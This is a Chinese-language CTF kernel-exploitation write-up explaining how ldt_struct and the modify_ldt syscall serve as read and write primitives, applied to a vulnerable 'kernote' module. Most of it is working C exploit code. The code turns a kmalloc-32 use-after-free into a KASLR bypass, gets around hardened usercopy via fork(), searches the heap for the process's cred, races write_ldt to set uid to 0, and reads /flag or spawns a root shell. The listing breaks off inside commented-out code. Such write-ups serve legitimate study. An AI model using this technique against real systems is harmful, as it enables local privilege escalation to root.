Kernel Pwn Struct ldt_struct and Syscall modify_ldt

内存管理中有一个分段机制, 除了 全局段描述符表GDT 以外, Linux 还支持每个进程独有一个 局部段描述符表LDT. 无论是 GDT 还是 LDT, 其中存的都是一些关于分段的信息. 这个表的每一项是一个段描述符, 包括段的 (起始) 地址, 界限 (大小), 以及属性权限.

局部段描述符表结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */
    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */
    int            slot;
};

其中 entries 是段描述符数组指针, nr_entries 是段描述符的个数. 可以看到, struct ldt_struct 的大小是 0x10.

struct desc_struct 如下:

1
2
3
4
5
6
7
/* 8 byte segment descriptor */
struct desc_struct {
  u16 limit0;
  u16 base0;
  u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
  u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

大小为 8 个字节, 其中的内容就是地址, 界限和属性.

有个系统调用 modify_ldt, 提供了对当前进程的 LDT 读写的操作, 代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
    unsigned long , bytecount)
{
  int ret = -ENOSYS;

  switch (func) {
  case 0:
    ret = read_ldt(ptr, bytecount);
    break;
  case 1:
    ret = write_ldt(ptr, bytecount, 1);
    break;
  case 2:
    ret = read_default_ldt(ptr, bytecount);
    break;
  case 0x11:
    ret = write_ldt(ptr, bytecount, 0);
    break;
  }
  /*
   * The SYSCALL_DEFINE() macros give us an 'unsigned long'
   * return type, but tht ABI for sys_modify_ldt() expects
   * 'int'.  This cast gives us an int-sized value in %rax
   * for the return code.  The 'unsigned' is necessary so
   * the compiler does not try to sign-extend the negative
   * return codes into the high half of the register when
   * taking the value from int->long.
   */
  return (unsigned int)ret;
}

read_ldt() 将读取 ldt_struct->entries 最多 bytecount 个字节到 ptr 指针处:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
  struct mm_struct *mm = current->mm;
  unsigned long entries_size;
  int retval;

  down_read(&mm->context.ldt_usr_sem);

  if (!mm->context.ldt) {
    retval = 0;
    goto out_unlock;
  }

  if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
    bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

  entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
  if (entries_size > bytecount)
    entries_size = bytecount;

  if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
    retval = -EFAULT;
    goto out_unlock;
  }

  if (entries_size != bytecount) {
    /* Zero-fill the rest and pretend we read bytecount bytes. */
    if (clear_user(ptr + entries_size, bytecount - entries_size)) {
      retval = -EFAULT;
      goto out_unlock;
    }
  }
  retval = bytecount;

out_unlock:
  up_read(&mm->context.ldt_usr_sem);
  return retval;
}

write_ldt() 修改某项 ldt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  struct mm_struct *mm = current->mm;
  struct ldt_struct *new_ldt, *old_ldt;
  unsigned int old_nr_entries, new_nr_entries;
  struct user_desc ldt_info;
  struct desc_struct ldt;
  int error;

  error = -EINVAL;
  if (bytecount != sizeof(ldt_info))
    goto out;
  error = -EFAULT;
  if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
    goto out;

  error = -EINVAL;
  if (ldt_info.entry_number >= LDT_ENTRIES)
    goto out;
  if (ldt_info.contents == 3) {
    if (oldmode)
      goto out;
    if (ldt_info.seg_not_present == 0)
      goto out;
  }

  if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
      LDT_empty(&ldt_info)) {
    /* The user wants to clear the entry. */
    memset(&ldt, 0, sizeof(ldt));
  } else {
    if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
      error = -EINVAL;
      goto out;
    }

    fill_ldt(&ldt, &ldt_info);
    if (oldmode)
      ldt.avl = 0;
  }
  // ...
  old_ldt        = mm->context.ldt;
  old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
  new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

  error = -ENOMEM;
  new_ldt = alloc_ldt_struct(new_nr_entries);
  // ...

  if (old_ldt)
    memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

  new_ldt->entries[ldt_info.entry_number] = ldt;
  finalize_ldt_struct(new_ldt);
  // ...
  error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
  // ...
  install_ldt(mm, new_ldt);
  unmap_ldt_struct(mm, old_ldt);
  free_ldt_struct(old_ldt);
  error = 0;

out_unlock:
  up_write(&mm->context.ldt_usr_sem);
out:
  return error;
}

可以看到, 参数 ptrstruct user_desc 指针, bytecount 必须等于 sizeof(struct user_desc). 在 fill_ldt() 中根据传入的 user_desc 转换为 struct desc_struct, 即段描述符.

其中, struct user_desc 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
};

entry_number 最大值是 LDT_ENTRIES - 1, 查看源码发现 LDT_ENTRIES 是 8192. 也就是支持 8191 个局部描述符 (下标为 0 的留空)

然后 调用 alloc_ldt_struct() 分配一个 struct ldt_struct. 如果之前有 LDT, 则将旧的复制到新分配的, 再进行修改. 如果没有则直接修改.

这样做的原因和多核并发读写有关, 不是关注的重点, 同时上述代码也省略掉了并发和锁这一块的处理.

alloc_ldt_struct() 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
  struct ldt_struct *new_ldt;
  unsigned int alloc_size;

  if (num_entries > LDT_ENTRIES)
    return NULL;

  new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
  if (!new_ldt)
    return NULL;

  BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
  alloc_size = num_entries * LDT_ENTRY_SIZE;

  /*
   * Xen is very picky: it requires a page-aligned LDT that has no
   * trailing nonzero bytes in any page that contains LDT descriptors.
   * Keep it simple: zero the whole allocation and never allocate less
   * than PAGE_SIZE.
   */
  if (alloc_size > PAGE_SIZE)
    new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
  else
    new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);

  if (!new_ldt->entries) {
    kfree(new_ldt);
    return NULL;
  }

  /* The new LDT isn't aliased for PTI yet. */
  new_ldt->slot = -1;

  new_ldt->nr_entries = num_entries;
  return new_ldt;
}

可以看到, struct ldt_struct new_ldt 使用 kmalloc 来分配, 也就是会从 kmalloc-16 中取.

如果有 kmalloc-16 的 UAF, 那么可以:

  1. read arbitrary (w)
    • leak page_offset_base
      • leak kbase
  2. write arbitrary (w)

由于 write_ldt() 使用 kmalloc() 从 kmalloc-16 中获取 object, 所以如果有 UAF, 那么可以修改 entries 指针, 然后 read_ldt() 便可以读取指针处的数据.

任意地址读需要的是 UAF 后的可写权限, 非常有意思

假如只有一个任意地址读, 并且开了 kaslr 的话, 一般不知道从哪个地址读. 所以这里需要进行一下泄漏. 这个泄漏的技巧只要能够控制 copy_to_user() 的 src, 就能够实现泄漏 page_offset_base (线性映射区, 也就是内核堆) 和 kernel code 偏移.

copy_to_user() 访问非法地址时, 并不会造成 panic, 而是返回一个错误代码. 所以可以多次修改 ldt_struct->entriesread_ldt(), 直到读取成功, 就找到了有效的地址.

没开 kaslr 时, page_offset_base 是常量 0xffff888000000000, 开了 kaslr 后, 会在 kernel_randomize_memory() 中加上一个随机偏移, 这个偏移对齐 PUD_MASK, 即 $2^30$. 所以我们可以从 0xffff888000000000 开始, 步长 0x40000000 去爆破 page_offset_base.

一旦得到了 page_offset_base, 那么我们可以在上面找到稳定的内核函数指针, 如 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64() 函数的地址, 该函数地址在没开 kaslr 下是 0xffffffff81000040, 于是我们可以修改一下 ldt_struct->entries, 然后 read_ldt()

Hardened usercopy 是对 copy_*_user 的一个安全性检查, 简单来说就是内核指针:

  1. 不允许为空指针
  2. 不允许指向 kmalloc 分配的零长度区域
  3. 不允许指向内核代码段
  4. 如果指向 Slab 则不允许超过 Slab 分配器分配的长度
  5. 如果指向非 Slab 的堆, 则不允许跨页
  6. 如果涉及到栈则不允许超出当前进程的栈空间

否则, 内核会 panic.

这样一来, 我们在搜索堆空间的时候, 如果将 bytecount 设置得比较大, 则会 panic; 如果比较小 (如 8), 则效率低.

不过, 有一种非常妙的方法可以绕过 Hardened Usercopy.

fork() 的调用链中, 会执行 ldt_dup_context(), 将父进程的 ldt 拷贝到子进程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
  struct ldt_struct *new_ldt;
  int retval = 0;

  if (!old_mm)
    return 0;

  mutex_lock(&old_mm->context.lock);
  if (!old_mm->context.ldt)
    goto out_unlock;

  new_ldt = alloc_ldt_struct(old_mm->context.ldt->nr_entries);
  if (!new_ldt) {
    retval = -ENOMEM;
    goto out_unlock;
  }

  memcpy(new_ldt->entries, old_mm->context.ldt->entries,
         new_ldt->nr_entries * LDT_ENTRY_SIZE);
  finalize_ldt_struct(new_ldt);

  retval = map_ldt_struct(mm, new_ldt, 0);
  if (retval) {
    free_ldt_pgtables(mm);
    free_ldt_struct(new_ldt);
    goto out_unlock;
  }
  mm->context.ldt = new_ldt;

out_unlock:
  mutex_unlock(&old_mm->context.lock);
  return retval;
}

可以看到, 调用 alloc_ldt_struct 新分配了一个 struct ldt_struct new_ldt, 然后用 memcpy()old_ldt->entries 上的数据拷贝到 new_ldt->entries. new_ldt->entries 地址是 vmalloc 空间上的, 可以正常 copy_to_user(). 所以父进程修改一下 ldt_struct->entries, 然后 fork() 一个子进程, 在子进程里 read_ldt 就绕过了非法拷贝的检查.

需要指出, 爆破 page_offset_base 不需要用这个技巧, 只需要设置 bytecount 为 8 即可.

write_ldt() 中, 有一个 memcpy() 的过程, 接着有一个写. 代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  // ..
  new_ldt = alloc_ldt_struct(new_nr_entries);
  if (!new_ldt)
    goto out_unlock;

  if (old_ldt)
    memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

  new_ldt->entries[ldt_info.entry_number] = ldt;
  // ..
}

竞争一个窗口, 可以在 new_ldt->entries[ldt_info.entry_number] = ldt 之前将 new_ldt->entries 给修改了, 然后在相应位置上写 ldt. ldt 这个值可以通过 user_desc 控制, 需要满足限制条件. 不过幸运的是, 0 是可以的. (正好提权就是设置 euid = 0).

这个 new_ldt 是通过 kmalloc() 从 kmalloc-16 中分配出来的, 我们如果有 UAF, 那么可以用 UAF 去修改, 不需要考虑 write_ldt() 加的读写锁.

a3 说这个竞争比较难

README:

1
2
3
4
5
6
7
8
Here are some kernel config options in case you need it

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

可以看到用的是 slab 而不是默认的 slub. slab 的最小分配大小为 32, 即使所需要的空间小于 32, 还是会从 kmalloc-32 等大小为 32 的 slab 中取.

并且开了一些 freelist 的保护, random 是对 freelist 中节点的顺序随机化, hardened 是对 next 和一个值进行异或.

然后还开了 hardened usercopy 以及 static usermodehelper path. 前者以及介绍过了, 后者是将 modprobe_path 设为只读, 避免对 modprobe_path 的利用 (还没学).

qemu 启动脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot

开启 kaslr, kpti, smep, smap.

init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
#mount -t devtmpfs devtmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev>/proc/sys/kernel/hotplug
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo "flag{testflag}">/flag
chmod 660 /flag
insmod /kernote.ko
#/sbin/mdev -s
chmod 666 /dev/kernote
chmod 777 /tmp
setsid cttyhack setuidgid 1000 sh
poweroff -f

不可查看 kallsyms 和 dmesg.

逆一下 kernote.ko, 主要是在 ioctl 中写了如下功能:

  1. 0x6667:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  else if ( (_DWORD)cmd == 0x6667 )           // 0x6667 malloc
    {
      v13 = -1LL;
      if ( arg_1 <= 0xF )
      {
        cmd = 3264LL;
        v11 = kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 8LL, v6, -1LL);
        buf[arg_1] = v11;
        v13 = -(__int64)(v11 == 0);
      }
      goto LABEL_15;
    }

可以看到, 这里是从 kmalloc_caches[5] (kmalloc-32) 中取 object, 即便它的大小是 8 (第三个参数). 保存在全局变量数组 buf 的相应下标中, 下标是我们传进来的参数, 不超过 15 个.

  1. 0x6668:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if ( (_DWORD)cmd == 0x6668 )                  // 0x6668 free
  {
    v13 = -1LL;
    if ( arg_1 <= 0xF )
    {
      v12 = buf[arg_1];
      if ( v12 )
      {
        kfree(v12, cmd, v5, v6, -1LL);
        v13 = 0LL;
        buf[arg_1] = 0LL;
      }
    }
    goto LABEL_15;
  }

简单的 kfree, 并且将其置 NULL 了.

  1. 0x6666
1
2
3
4
5
6
7
  if ( (_DWORD)cmd == 0x6666 )                // 0x6666 select
    {
      v13 = -1LL;
      if ( arg_1 > 0xF )
        goto LABEL_15;
      note = buf[arg_1];
    }

选择某个下标, 将对应值存到全局变量 note 上.

  1. 0x6669
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if ( (_DWORD)cmd == 0x6669 )                  // 0x6669 write
  {
    v13 = -1LL;
    if ( note )
    {
      *(_QWORD *)note = arg_1;
      v13 = 0LL;
    }
    goto LABEL_15;
  }

向 note 指针指向的位置写入 8 个字节.

还有个 0x666A 的功能没什么用, 不放了.

这里很明显就是 select 之后 free 的 UAF, 但是只有写 8 字节的功能. 如果没有 kaslr, 那么可以用 seq_operations 劫持 rip. 所以第一步需要 leak kbase. 这里用之前说的方法即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    int fd = open("/dev/kernote", O_RDWR);
    ioctl(fd, ALLOC, 0);
    ioctl(fd, SELECT, 0);
    ioctl(fd, FREE, 0);
    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = 8191;
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    size_t tmp = 0;
    while (1) {
        ioctl(fd, WRITE, page_offset_base);
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    ioctl(fd, WRITE, page_offset_base + 0x9d000);
    modify_ldt(READ_LDT, &tmp, sizeof(tmp));
    kernel_offset = tmp - secondary_startup_64;
    printvar(success, "kernel offset", kernel_offset);

接下来有两个做法, 一个是 seq_operations + pt_regs, 另一个是直接在堆上搜 cred, 并修改 uid 为 0. 前者已经写过, 不再赘述. 详细说一下后者.

上面说道, 我们可以用 fork() + read_ldt() 的方法去读内核的任意地址, 那么首先把当前进程的 cred 给搜出来. 这里可以搜 task_struct, 它记录了进程的所有信息, 当然也包括 cred. 同时, 它还记录了 pid, 程序名等. 我们可以使用 prctl() 修改程序名, 然后搜字符串, 并且根据 cred 和 pid 来判断搜到的是不是当前进程的 task_struct.

task_struct 相关成员如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct task_struct {
  // ...

  pid_t       pid;
  pid_t       tgid;

  // ...

  /* Process credentials: */

  /* Tracer's credentials at attach: */
  const struct cred __rcu   *ptracer_cred;

  /* Objective and real subjective task credentials (COW): */
  const struct cred __rcu   *real_cred;

  /* Effective (overridable) subjective task credentials (COW): */
  const struct cred __rcu   *cred;

#ifdef CONFIG_KEYS
  /* Cached requested key. */
  struct key      *cached_requested_key;
#endif

  /*
   * executable name, excluding path.
   *
   * - normally initialized setup_new_exec()
   * - access it with [gs]et_task_comm()
   * - lock it with task_lock()
   */
  char        comm[TASK_COMM_LEN];

  //...
};

搜索代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    prctl(PR_SET_NAME, "WingsWingsWings");
    int pipefd[2];
    pipe(pipefd);
    int buf_size = 0x10000;
    void *buf = malloc(buf_size);
    size_t cur = page_offset_base;
    size_t pid = getpid();
    size_t cred_addr = 0;
    while (1) {
        ioctl(fd, WRITE, cur);
        if (!fork()) {
            cred_addr = 0;
            prctl(PR_SET_NAME, "pwn");
            modify_ldt(READ_LDT, buf, buf_size);
            size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
            if (p && (int) p[-58] == pid && \
                p[-2] > page_offset_base && p[-3] > page_offset_base)
                cred_addr = p[-2];
            write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
            return;
        }
        wait(NULL);
        read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
        if (cred_addr)
            break;
        cur += buf_size;
    }
    printvar(success, "cred address", cred_addr);

这里的 buf_sizeread_ldt() 能够读的最大值 ($8192 \times 8$). 全部读到用户空间后, 看 $-58 \times 8$ 的位置是不是 pid, (官方题解里还加了看前面是不是 credreal_cred, 但是条件有点弱, 只是看地址是不是在堆上, copy 一下).

找到 cred 地址之后, 利用条件竞争去任意地址写. 不过, 当前的 ldt_struct->entries 已经被我们给修改掉了, 再一次进行 write_ldt() 的话, 代码里有对旧的 ldt 进行处理:

1
2
3
4
5
6
7
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
  // ...
  unmap_ldt_struct(mm, old_ldt);
  free_ldt_struct(old_ldt);
  // ...
}

这样会导致 unmap 失败. 而我们也没有 UAF 读的功能, 很难去恢复它. 不过, 在介绍绕过 hardened usercopy 时提到, fork() 子进程会去 alloc 新的 ldt, 然后 copy. 这个新的 ldt 虽然内容不对, 但是地址是有效的. 所以后续利用 write_ldt(), 得先 fork() 一下.

cred 结构体在偏移 0x4 位置开始保存 uid 等, 前面也说过将 ldt 设置为 0 (user_desc.base_addr = 0, user_desc.limit = 0) 是可行的, write_ldt() 中的写入代码为 new_ldt->entries[ldt_info.entry_number] = ldt;, 所以设置 user_desc.entry_number = 0, 配合竞争修改 new_ldt->entries = &cred + 4, 便可以将 uid 设置为 0.

很容易写出下面的竞争:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  if(!fork()) {
    if (!fork()) {
        for (;;)
            ioctl(fd, WRITE, cred_addr + 4);
    }
    else {
        desc.entry_number = 0;
        for (;;) {
            ioctl(fd, ALLOC, 0);
            ioctl(fd, SELECT, 0);
            ioctl(fd, FREE, 0);
            modify_ldt(WRITE_LDT, &desc, sizeof(desc));
        }
    }
  }

由于父子进程共享文件描述符号, 所以父进程在 alloc ldt 后, 可以在子进程中不断 UAF 写 ldt_struct->entries.

这样做有一个缺点, 假如没竞争上, 但是 UAF 改了 ldt_struct->entries, 那么再次 write_ldt() 会直接 panic. 不过这样确实可以将 uid 修改. 在被修改的父进程不断 getuid() 打印, 发现在 panic 之前是有输出 uid 0 的. 所以可以利用这一小段时间, 将 flag 读出并打印.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    if (!fork()) {
        desc.entry_number = 0;
        if (!fork())
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        else {
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
            }
        }
    }
    else {
        for (;getuid(););
        printvar(success, "uid", getuid());
        setreuid(0, 0);
        int flag_fd = open("/flag", O_RDONLY);
        read(flag_fd, buf, 0x50);
        puts(buf);
    }

灵活运用 pipe, 阻塞父子进程, 在 write_ldt() 后检查 uid, 这样可以避免修改 ldt_struct->entries 后又 write_ldt(), 有概率可以拿 root shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    if (!fork()) {
        if (!fork()) {
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        }
        else {
            desc.entry_number = 0;
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
                write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
                read(pipefd2[READ_PIPE], &flag, sizeof(flag));
            }
        }
    }
    else {
        for (;;) {
            read(pipefd[READ_PIPE], &flag, sizeof(flag));
            flag = getuid();
            if (flag)
                write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
            else {
                setreuid(0, 0);
                getRootShell();
            }
        }
    }

有时也会 panic, 太菜了找一天了找不到原因. 试了很多方法, 都不能稳定竞争提权 (貌似是开了 panic_on_warn 导致 panic 很多), 官方 exp 神奇的申请释放也看不懂, 就这样吧累了.

完整 exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <linux/userfaultfd.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <semaphore.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

#define SELECT      0x6666
#define ALLOC       0x6667
#define FREE        0x6668
#define WRITE       0x6669
#define WRITE_LDT   1
#define READ_LDT    0
#define READ_PIPE   0
#define WRITE_PIPE  1

size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;
const size_t secondary_startup_64 = 0xffffffff81000040;
size_t kernel_offset;

int modify_ldt(int func, void *ptr, unsigned long bytecount) {
    return syscall(SYS_modify_ldt, func, ptr, bytecount);
}

void sleepForEver() {
    sleep(114514);
}

void pwn() {
    int fd = open("/dev/kernote", O_RDWR);
    ioctl(fd, ALLOC, 0);
    ioctl(fd, SELECT, 0);
    ioctl(fd, FREE, 0);
    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = 8191;
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    size_t tmp = 0;
    while (1) {
        ioctl(fd, WRITE, page_offset_base);
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    ioctl(fd, WRITE, page_offset_base + 0x9d000);
    modify_ldt(READ_LDT, &tmp, sizeof(tmp));
    kernel_offset = tmp - secondary_startup_64;
    printvar(success, "kernel offset", kernel_offset);

    prctl(PR_SET_NAME, "WingsWingsWings");
    int pipefd[2];
    pipe(pipefd);
    int buf_size = 0x10000;
    void *buf = malloc(buf_size);
    size_t cur = page_offset_base;
    size_t pid = getpid();
    size_t cred_addr = 0;
    while (1) {
        ioctl(fd, WRITE, cur);
        if (!fork()) {
            cred_addr = 0;
            prctl(PR_SET_NAME, "fuck");
            modify_ldt(READ_LDT, buf, buf_size);
            size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
            if (p && (int) p[-58] == pid && \
                p[-2] > page_offset_base && p[-3] > page_offset_base)
                cred_addr = p[-2];
            write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
            return;
        }
        wait(NULL);
        read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
        if (cred_addr)
            break;
        cur += buf_size;
    }
    printvar(success, "cred address", cred_addr);

    if (!fork()) {
        desc.entry_number = 0;
        if (!fork())
            for (;;)
                ioctl(fd, WRITE, cred_addr + 4);
        else {
            for (;;) {
                ioctl(fd, ALLOC, 0);
                ioctl(fd, SELECT, 0);
                ioctl(fd, FREE, 0);
                modify_ldt(WRITE_LDT, &desc, sizeof(desc));
            }
        }
    }
    else {
        for (;getuid(););
        printvar(success, "uid", getuid());
        setreuid(0, 0);
        int flag_fd = open("/flag", O_RDONLY);
        read(flag_fd, buf, 0x50);
        puts(buf);
    }

    // int pipefd2[2];
    // pipe(pipefd2);
    // int flag;

    // pid = fork();
    // if (!pid) {
    //     if (!fork()) {
    // ioctl(fd, ALLOC, 0);
    // ioctl(fd, SELECT, 0);
    //         for (;;)
    //             ioctl(fd, WRITE, cred_addr + 4);
    //     }
    //     else {
    //         desc.entry_number = 0;
